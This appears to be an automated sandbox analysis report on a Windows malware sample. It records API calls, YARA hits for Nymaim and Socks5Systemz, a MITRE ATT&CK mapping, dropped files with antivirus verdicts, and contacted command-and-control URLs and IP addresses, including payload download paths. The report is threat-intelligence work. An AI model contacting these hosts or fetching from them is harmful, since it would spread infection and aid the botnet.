Code function: 3_2_00477F98 ShellExecuteEx,GetLastError,MsgWaitForMultipleObjects,GetExitCodeProcess,CloseHandle,

3_2_00477F98

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"			Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 pause alter_game_11196			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp

Code function: 3_2_0042E094 AllocateAndInitializeSid,GetVersion,GetModuleHandleA,GetProcAddress,CheckTokenMembership,GetCurrentThread,OpenThreadToken,GetLastError,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,GetTokenInformation,EqualSid,CloseHandle,FreeSid,

3_2_0042E094

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0063AC0C cpuid

0_2_0063AC0C

Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoA,	0_2_0040FEBB
Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Code function: GetLocaleInfoA,	2_2_004051FC
Source: C:\Users\user\AppData\Roaming\0L1IPDf6p\NqISs1vOr.exe	Code function: GetLocaleInfoA,	2_2_00405248
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: GetLocaleInfoA,	3_2_00408558
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: GetLocaleInfoA,	3_2_004085A4

Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe

Queries volume information: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp

Code function: 3_2_004583E8 GetTickCount,QueryPerformanceCounter,GetSystemTimeAsFileTime,GetCurrentProcessId,CreateNamedPipeA,GetLastError,CreateFileA,SetNamedPipeHandleState,CreateProcessA,CloseHandle,CloseHandle,

3_2_004583E8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00408FA6 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00408FA6

Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp

Code function: 3_2_00455570 GetUserNameA,

3_2_00455570

Source: C:\Users\user\Desktop\file.exe

0_2_00404250

Stealing of Sensitive Information

Yara detected Nymaim

Source: Yara match	File source: 0.2.file.exe.6315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1816901578.0000000000630000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Socks5Systemz

Source: Yara match	File source: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3048714500.0000000002D95000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: altergame32.exe PID: 2488, type: MEMORYSTR

Remote Access Functionality

Yara detected Socks5Systemz

Source: Yara match	File source: 00000006.00000002.3048791159.0000000002E41000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3048714500.0000000002D95000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: altergame32.exe PID: 2488, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_609660FA sqlite3_finalize,sqlite3_free,sqlite3_value_numeric_type,sqlite3_value_numeric_type,sqlite3_value_text,sqlite3_value_int,memcmp,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_strnicmp,sqlite3_mprintf,sqlite3_mprintf,sqlite3_malloc,sqlite3_free,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_bind_value,	6_2_609660FA
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6090C1D6 sqlite3_clear_bindings,sqlite3_mutex_enter,sqlite3_mutex_leave,	6_2_6090C1D6
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60963143 sqlite3_stricmp,sqlite3_bind_int64,sqlite3_mutex_leave,	6_2_60963143
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6096A2BD sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,	6_2_6096A2BD
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6096923E sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_malloc,sqlite3_malloc,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_realloc,sqlite3_realloc,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,sqlite3_free,sqlite3_free,	6_2_6096923E
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6096A38C sqlite3_bind_int,sqlite3_column_int,sqlite3_step,sqlite3_reset,	6_2_6096A38C
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6096748C sqlite3_malloc,sqlite3_bind_int,sqlite3_step,sqlite3_column_blob,sqlite3_column_bytes,sqlite3_reset,sqlite3_bind_int,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_malloc,sqlite3_bind_int64,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_reset,memcmp,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_bind_int64,sqlite3_realloc,sqlite3_column_int,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_int,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_free,sqlite3_bind_int,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,sqlite3_free,sqlite3_free,	6_2_6096748C
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_609254B1 sqlite3_bind_zeroblob,sqlite3_mutex_leave,	6_2_609254B1
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6094B407 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	6_2_6094B407
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6090F435 sqlite3_bind_parameter_index,	6_2_6090F435
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_609255D4 sqlite3_mutex_leave,sqlite3_bind_text16,	6_2_609255D4
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_609255FF sqlite3_bind_text,	6_2_609255FF
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6096A5EE sqlite3_value_text,sqlite3_value_bytes,sqlite3_strnicmp,sqlite3_strnicmp,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_malloc,sqlite3_column_int,sqlite3_column_int64,sqlite3_column_text,sqlite3_column_bytes,sqlite3_finalize,sqlite3_step,sqlite3_free,sqlite3_finalize,sqlite3_strnicmp,sqlite3_bind_int,sqlite3_column_int,sqlite3_step,sqlite3_reset,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_column_int64,sqlite3_column_int,sqlite3_column_text,sqlite3_column_bytes,sqlite3_step,sqlite3_finalize,sqlite3_strnicmp,sqlite3_strnicmp,sqlite3_bind_int,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_value_int,sqlite3_malloc,sqlite3_bind_null,sqlite3_step,sqlite3_reset,sqlite3_value_int,sqlite3_value_text,sqlite3_value_bytes,sqlite3_free,	6_2_6096A5EE
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6094B54C sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,memmove,	6_2_6094B54C
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60925686 sqlite3_bind_int64,sqlite3_mutex_leave,	6_2_60925686
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6094A6C5 sqlite3_bind_int64,sqlite3_step,sqlite3_column_blob,sqlite3_column_bytes,sqlite3_malloc,sqlite3_reset,sqlite3_free,	6_2_6094A6C5
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_609256E5 sqlite3_bind_int,sqlite3_bind_int64,	6_2_609256E5
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6094B6ED sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,	6_2_6094B6ED
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6092562A sqlite3_bind_blob,	6_2_6092562A
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60925655 sqlite3_bind_null,sqlite3_mutex_leave,	6_2_60925655
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6094C64A sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,	6_2_6094C64A
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_609687A7 sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_column_blob,sqlite3_column_bytes,sqlite3_column_int64,sqlite3_reset,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_bind_int64,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_free,sqlite3_free,	6_2_609687A7
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6095F7F7 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	6_2_6095F7F7
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6092570B sqlite3_bind_double,sqlite3_mutex_leave,	6_2_6092570B
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6095F772 sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,	6_2_6095F772
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60925778 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_blob,	6_2_60925778
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6090577D sqlite3_bind_parameter_name,	6_2_6090577D
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6094B764 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,	6_2_6094B764
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6090576B sqlite3_bind_parameter_count,	6_2_6090576B
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6094A894 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,	6_2_6094A894
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6095F883 sqlite3_bind_int64,sqlite3_bind_int,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,	6_2_6095F883
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6094C8C2 sqlite3_value_int,sqlite3_value_int,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_null,sqlite3_bind_null,sqlite3_step,sqlite3_reset,	6_2_6094C8C2
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6096281E sqlite3_mprintf,sqlite3_vtab_config,sqlite3_malloc,sqlite3_mprintf,sqlite3_mprintf,sqlite3_errmsg,sqlite3_mprintf,sqlite3_free,sqlite3_mprintf,sqlite3_exec,sqlite3_free,sqlite3_prepare_v2,sqlite3_bind_text,sqlite3_step,sqlite3_column_int64,sqlite3_finalize,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_errmsg,sqlite3_mprintf,sqlite3_mprintf,sqlite3_mprintf,sqlite3_free,sqlite3_mprintf,sqlite3_free,sqlite3_declare_vtab,sqlite3_errmsg,sqlite3_mprintf,sqlite3_free,	6_2_6096281E
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6096583A memcmp,sqlite3_realloc,qsort,sqlite3_malloc,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_int64,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_step,sqlite3_reset,	6_2_6096583A
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6095F9AD sqlite3_bind_int,sqlite3_step,sqlite3_column_type,sqlite3_reset,	6_2_6095F9AD
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6094A92B sqlite3_bind_int64,sqlite3_bind_null,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,	6_2_6094A92B
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6090EAE5 sqlite3_transfer_bindings,	6_2_6090EAE5
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6095FB98 sqlite3_value_int,sqlite3_bind_int,sqlite3_bind_value,sqlite3_step,sqlite3_reset,	6_2_6095FB98
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6095ECA6 sqlite3_mprintf,sqlite3_mprintf,sqlite3_mprintf,sqlite3_prepare_v2,sqlite3_free,sqlite3_bind_value,	6_2_6095ECA6
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6095FCCE sqlite3_malloc,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,	6_2_6095FCCE
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6095FDAE sqlite3_malloc,sqlite3_bind_int,sqlite3_step,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_reset,sqlite3_free,sqlite3_free,sqlite3_bind_int,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,sqlite3_free,	6_2_6095FDAE
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60966DF1 sqlite3_value_text,sqlite3_mprintf,sqlite3_free,strcmp,sqlite3_free,sqlite3_malloc,sqlite3_bind_int64,sqlite3_step,sqlite3_column_type,sqlite3_reset,sqlite3_column_blob,sqlite3_reset,sqlite3_malloc,sqlite3_free,sqlite3_reset,sqlite3_result_error_code,sqlite3_result_blob,	6_2_60966DF1
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_60969D75 sqlite3_bind_int,sqlite3_step,sqlite3_column_int,sqlite3_reset,	6_2_60969D75
Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Code function: 6_2_6095FFB2 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_result_error_code,	6_2_6095FFB2

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	2 Windows Service	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Input Capture	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Bootkit	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Windows Service	21 Software Packing	NTDS	45 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	212 Process Injection	1 Timestomp	LSA Secrets	251 Security Software Discovery	SSH	Keylogging	122 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	3 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	212 Process Injection	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Bootkit	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	37%	ReversingLabs
file.exe	40%	Virustotal		Browse
file.exe	100%	Avira	HEUR/AGEN.1306956
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\PAB1[1].file	100%	Avira	PUA/Agent.EI
C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	100%	Joe Sandbox ML
C:\ProgramData\EShineEncoder\EShineEncoder.exe	100%	Joe Sandbox ML
C:\ProgramData\EShineEncoder\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\AlterGame 1.13\LTDIS13n.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\AlterGame 1.13\bjpeg23.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\AlterGame 1.13\gdiplus.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\AlterGame 1.13\is-28G11.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\AlterGame 1.13\is-GSS65.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\AlterGame 1.13\is-HKUEM.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\AlterGame 1.13\is-NKP4B.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\AlterGame 1.13\is-PR9GR.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\AlterGame 1.13\is-QDBOH.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\AlterGame 1.13\is-T3HEM.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\AlterGame 1.13\ltkrn13n.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\AlterGame 1.13\msvcp71.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\AlterGame 1.13\msvcr71.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\AlterGame 1.13\sqlite3.dll (copy)	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\PAB1[1].file	54%	ReversingLabs	Win32.Trojan.PLoader
C:\Users\user\AppData\Local\Temp\is-DPC68.tmp\_isetup\_iscrypt.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-DPC68.tmp\_isetup\_setup64.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-DPC68.tmp\_isetup\_shfoldr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	3%	ReversingLabs
C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	54%	ReversingLabs	Win32.Trojan.PLoader

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://185.208.158.202/s	0%	Avira URL Cloud	safe
http://185.208.158.202/search/?q~w	0%	Avira URL Cloud	safe
boietuj.com	0%	Avira URL Cloud	safe
http://www.freecommander.com/fchelpxe/de/FreeCommander.html	0%	Avira URL Cloud	safe
http://freecommander.com/chm/FreeCommanderXE_chm_en.zip	0%	Avira URL Cloud	safe
http://freecommander.com/chm/FreeCommanderXE_chm_de.zip	0%	Avira URL Cloud	safe
http://freecommander.com/en/downloads/	0%	Avira URL Cloud	safe
http://185.156.72.65/add?substr=mixeleven&s=three&sub=nosub	100%	Avira URL Cloud	malware
http://185.208.158.202/s	2%	Virustotal		Browse
http://boietuj.com/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c440db22f31df92d8838ed12a666d307eca743ec4c2b07b529669238658ef814c4ef90	0%	Avira URL Cloud	safe
http://185.156.72.65/dll/download	0%	Avira URL Cloud	safe
http://185.208.158.202/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958	0%	Avira URL Cloud	safe
http://185.156.72.65/dll/key	0%	Avira URL Cloud	safe
http://www.freecommander.com/fchelpxe/en/FreeCommander.html	0%	Avira URL Cloud	safe
http://boietuj.com/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a	0%	Avira URL Cloud	safe
https://www.easycutstudio.com/support.html	0%	Avira URL Cloud	safe
http://185.156.72.65/files/download	100%	Avira URL Cloud	malware
http://www.forum.freecommander.com/viewtopic.php?f=6&t=775	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
boietuj.com	185.208.158.202	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
boietuj.com	true	Avira URL Cloud: safe	unknown
http://185.156.72.65/add?substr=mixeleven&s=three&sub=nosub	true	Avira URL Cloud: malware	unknown
http://boietuj.com/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c440db22f31df92d8838ed12a666d307eca743ec4c2b07b529669238658ef814c4ef90	true	Avira URL Cloud: safe	unknown
http://185.156.72.65/dll/download	true	Avira URL Cloud: safe	unknown
http://185.156.72.65/dll/key	true	Avira URL Cloud: safe	unknown
http://boietuj.com/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958f4f805a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b413e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c2ef929f3fcd6a	true	Avira URL Cloud: safe	unknown
http://185.156.72.65/files/download	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.208.158.202/s	altergame32.exe, 00000006.00000002.3049178628.0000000003756000.00000004.00000020.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.innosetup.com/	NqISs1vOr.tmp, NqISs1vOr.tmp, 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, is-CUGJK.tmp.3.dr, NqISs1vOr.tmp.2.dr	false		high
http://www.freecommander.com/fchelpxe/de/FreeCommander.html	altergame32.exe, 00000006.00000000.1928604067.000000000052B000.00000002.00000001.01000000.0000000A.sdmp, altergame32.exe.3.dr, EShineEncoder.exe.6.dr, is-85EG4.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://www.remobjects.com/psU	NqISs1vOr.exe, 00000002.00000003.1902294048.0000000002188000.00000004.00001000.00020000.00000000.sdmp, NqISs1vOr.exe, 00000002.00000003.1902059776.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, NqISs1vOr.tmp, 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, is-CUGJK.tmp.3.dr, NqISs1vOr.tmp.2.dr	false		high
http://freecommander.com/chm/FreeCommanderXE_chm_en.zip	altergame32.exe, 00000006.00000000.1928604067.000000000052B000.00000002.00000001.01000000.0000000A.sdmp, altergame32.exe.3.dr, EShineEncoder.exe.6.dr, is-85EG4.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://185.208.158.202/search/?q~w	altergame32.exe, 00000006.00000002.3049178628.0000000003756000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://freecommander.com/chm/FreeCommanderXE_chm_de.zip	altergame32.exe, 00000006.00000000.1928604067.000000000052B000.00000002.00000001.01000000.0000000A.sdmp, altergame32.exe.3.dr, EShineEncoder.exe.6.dr, is-85EG4.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://freecommander.com/en/downloads/	altergame32.exe, 00000006.00000000.1928604067.000000000052B000.00000002.00000001.01000000.0000000A.sdmp, altergame32.exe.3.dr, EShineEncoder.exe.6.dr, is-85EG4.tmp.3.dr	false	Avira URL Cloud: safe	unknown
https://code.google.com/p/ddab-lib/issues/list	altergame32.exe, 00000006.00000000.1928604067.00000000004CB000.00000002.00000001.01000000.0000000A.sdmp, altergame32.exe.3.dr, EShineEncoder.exe.6.dr, is-85EG4.tmp.3.dr	false		high
http://185.208.158.202/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec958	altergame32.exe, 00000006.00000002.3047839093.0000000000A61000.00000004.00000020.00020000.00000000.sdmp, altergame32.exe, 00000006.00000002.3049094019.00000000036D2000.00000004.00000020.00020000.00000000.sdmp, altergame32.exe, 00000006.00000002.3047839093.0000000000A82000.00000004.00000020.00020000.00000000.sdmp, altergame32.exe, 00000006.00000002.3047839093.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.freecommander.com/fchelpxe/en/FreeCommander.html	altergame32.exe, 00000006.00000000.1928604067.000000000052B000.00000002.00000001.01000000.0000000A.sdmp, altergame32.exe.3.dr, EShineEncoder.exe.6.dr, is-85EG4.tmp.3.dr	false	Avira URL Cloud: safe	unknown
http://www.remobjects.com/ps	NqISs1vOr.exe, 00000002.00000003.1902294048.0000000002188000.00000004.00001000.00020000.00000000.sdmp, NqISs1vOr.exe, 00000002.00000003.1902059776.00000000023B0000.00000004.00001000.00020000.00000000.sdmp, NqISs1vOr.tmp, NqISs1vOr.tmp, 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, is-CUGJK.tmp.3.dr, NqISs1vOr.tmp.2.dr	false		high
